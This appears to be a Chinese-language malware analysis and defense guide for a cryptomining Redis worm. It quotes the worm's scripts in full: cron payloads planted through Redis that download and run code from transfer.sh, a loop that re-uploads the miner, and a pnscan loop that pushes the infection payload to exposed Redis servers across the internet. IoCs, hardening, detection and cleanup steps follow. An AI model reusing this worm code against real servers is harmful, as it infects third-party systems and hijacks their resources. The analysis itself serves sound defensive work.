Yet Another Redis Miner
字数 1404 2025-08-29 08:32:09
Redis蠕虫攻击分析与防御指南
0x00 攻击概述
这是一个通过Redis未授权访问漏洞传播的蠕虫病毒,主要特征如下:
- 攻击目标:暴露在公网的Redis服务(默认端口6379)
- 传播方式:利用Redis未授权访问漏洞进行横向传播
- 攻击载荷:下载并执行挖矿程序,同时传播自身
- 隐蔽性:使用transfer.sh等临时文件分享服务来托管恶意代码,并通过不断更新URL来规避检测
0x01 攻击流程分析
初始感染阶段
攻击者通过Redis的set命令植入恶意计划任务:
set "Backup2" "\t\n*/5 * * * * wget -O .cmd https://transfer.sh/TSAm0/tmp.aLCyXcGXsL && bash .cmd\n\t"
这个命令会在目标系统的crontab中设置一个每5分钟执行一次的恶意任务,从transfer.sh下载并执行恶意脚本。
恶意脚本执行流程
-
下载端口扫描工具:
if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ) ; then curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 sleep 1 [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112 fi检查系统是否已安装pnscan端口扫描器,如果没有则从GitHub下载并编译安装。
-
下载并执行挖矿程序:
tname=$(mktemp) OMURL=https://transfer.sh/REIoK/tmp.pAuTRGMlGy curl -s $OMURL > $tname || wget -q -O $tname $OMURL从transfer.sh下载挖矿程序到临时文件。
-
上传挖矿程序获取新URL:
NMURL=$(curl -s --upload-file $tname https://transfer.sh) mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg [ -z "$NMURL" ] && NMURL=$OMURL将挖矿程序上传到transfer.sh获取新的下载URL,然后执行挖矿程序。
-
生成新的恶意脚本:
ncmd=$(basename $(mktemp)) sed 's|'"$OMURL"'|'"$NMURL"'|g' < .cmd > $ncmd NSURL=$(curl -s --upload-file $ncmd https://transfer.sh)替换脚本中的挖矿程序URL为新的URL,然后上传新脚本获取新的下载URL。
-
构造Redis攻击载荷:
echo 'flushall' > .dat echo 'config set dir /var/spool/cron' >> .dat echo 'config set dbfilename root' >> .dat echo 'set Backup1 "\t\n*/2 * * * * curl -s '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat echo 'set Backup2 "\t\n*/5 * * * * wget -O .cmd '${NSURL}' && bash .cmd\n\t"' >> .dat echo 'set Backup3 "\t\n*/10 * * * * lynx -source '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat echo 'save' >> .dat echo 'config set dir /var/spool/cron/crontabs' >> .dat echo 'save' >> .dat echo 'exit' >> .dat构造Redis命令序列,用于感染其他Redis服务器。
传播阶段
- 使用pnscan扫描目标网络:
随机扫描1-224.x.0.0/16网段的6379端口,发现开放的Redis服务后发送攻击载荷。pnx=pnscan [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan for x in $(seq 1 224 | sort -R); do for y in $(seq 0 255 | sort -R); do $pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.o awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l while read -r h p; do cat .dat | redis-cli -h $h -p $p --raw & done < .r.$x.$y.l done done
0x02 攻击特征(IoC)
-
文件特征:
- 蠕虫脚本:
.cmd - 挖矿程序:
.gpg - 挖矿程序MD5:
2918ee2b69bc4e6b581c7b25f08434fe
- 蠕虫脚本:
-
网络特征:
- 初始下载URL:
https://transfer.sh/TSAm0/tmp.aLCyXcGXsL - 端口扫描器下载:
https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 - 连接Redis默认端口6379
- 初始下载URL:
-
进程特征:
- 异常的计划任务(cron)条目
- 异常的
pnscan或redis-cli进程
0x03 防御措施
预防措施
-
Redis安全配置:
- 设置Redis密码认证(requirepass)
- 修改默认端口(6379)
- 禁用危险命令:
rename-command FLUSHALL "" - 绑定指定IP:
bind 127.0.0.1(仅本地访问) - 以非root用户运行Redis
-
系统加固:
- 定期更新系统和Redis到最新版本
- 配置防火墙规则,限制Redis端口的访问
- 禁用不必要的计划任务
- 监控/var/spool/cron/目录的异常修改
检测方法
-
检查异常文件:
find / -name ".cmd" -o -name ".gpg" -o -name ".x112" -
检查异常进程:
ps aux | grep -E "pnscan|redis-cli|\.gpg" -
检查异常计划任务:
crontab -l ls -la /var/spool/cron/ -
检查Redis日志:
grep -E "config set dir|config set dbfilename|flushall" /var/log/redis/redis.log
清除方法
-
删除恶意文件:
rm -f /usr/local/bin/pnscan /usr/bin/pnscan rm -f /.cmd /.gpg /.x112 -
清理恶意计划任务:
crontab -r rm -f /var/spool/cron/root /var/spool/cron/crontabs/root -
重启Redis服务:
systemctl restart redis -
检查并清理持久化文件:
rm -f /var/lib/redis/dump.rdb
0x04 总结
该Redis蠕虫利用未授权访问漏洞进行传播,具有以下特点:
- 使用transfer.sh等临时文件托管服务来托管恶意代码,增加检测难度
- 通过不断更新URL来规避基于固定IoC的检测
- 使用pnscan进行高效的端口扫描和传播
- 通过修改计划任务实现持久化
防御此类攻击的关键在于:
- 加强Redis的安全配置
- 限制Redis端口的网络访问
- 实施严格的权限控制
- 建立有效的监控机制